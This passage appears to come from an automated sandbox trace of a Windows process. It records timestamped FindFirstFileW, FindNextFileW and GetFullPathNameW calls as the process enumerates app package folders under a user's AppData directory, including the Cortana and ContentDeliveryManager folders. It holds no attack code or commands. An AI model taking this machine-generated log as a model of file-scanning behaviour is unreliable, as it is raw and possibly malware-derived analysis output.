ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.714] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0215.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.714] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache", lpFilePart=0x0) returned 0x6b [0215.715] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\localcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0215.715] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.715] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.128] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7d0053, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8a7d0053, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8a7d0053, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.128] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.128] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState", lpFilePart=0x0) returned 0x6d [0216.129] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\tempstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a9d6d, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8a7a9d6d, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8a7a9d6d, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.129] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a9d6d, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8a7a9d6d, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8a7a9d6d, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.129] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a9d6d, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8a7a9d6d, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8a7a9d6d, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.129] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.130] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState", lpFilePart=0x0) returned 0x6d [0216.130] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\tempstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a9d6d, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8a7a9d6d, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8a7a9d6d, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.130] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a9d6d, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8a7a9d6d, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8a7a9d6d, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.131] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a9d6d, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8a7a9d6d, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8a7a9d6d, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.131] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0216.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0216.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0216.131] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy", lpFilePart=0x0) returned 0x54 [0216.131] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x607a6a92, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x607a6a92, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.132] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x607a6a92, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x607a6a92, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.132] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e10e7a9, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC", cAlternateFileName="")) returned 1 [0216.132] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605b6c25, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xcb208e81, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xcb208e81, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0216.133] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605908ab, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x605908ab, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x605908ab, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0216.133] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7196220b, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x98b617a5, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0216.133] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x607a6a92, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x607a6a92, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x607a6a92, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.52_")) returned 1 [0216.133] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6056a7b2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6056a7b2, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0216.134] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605908ab, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x605b6c25, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6d738e58, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0216.134] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605b6c25, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x605b6c25, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x605b6c25, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0216.134] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6056a7b2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6056a7b2, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0216.134] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6056a7b2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6056a7b2, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0216.135] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0216.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0216.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0216.135] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy", lpFilePart=0x0) returned 0x54 [0216.135] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x607a6a92, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x607a6a92, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x607a6a92, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x607a6a92, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e10e7a9, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC", cAlternateFileName="")) returned 1 [0216.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605b6c25, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xcb208e81, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xcb208e81, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0216.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605908ab, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x605908ab, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x605908ab, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0216.136] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7196220b, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x98b617a5, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0216.137] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x607a6a92, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x607a6a92, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x607a6a92, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~1.52_")) returned 1 [0216.137] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6056a7b2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6056a7b2, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0216.137] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605908ab, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x605b6c25, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6d738e58, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0216.137] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x605b6c25, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x605b6c25, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x605b6c25, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0216.137] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6056a7b2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6056a7b2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6056a7b2, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0216.138] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.138] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0216.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0216.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0216.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0216.138] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC", lpFilePart=0x0) returned 0x57 [0216.138] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e10e7a9, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.139] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60629330, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6e10e7a9, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x6e10e7a9, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, 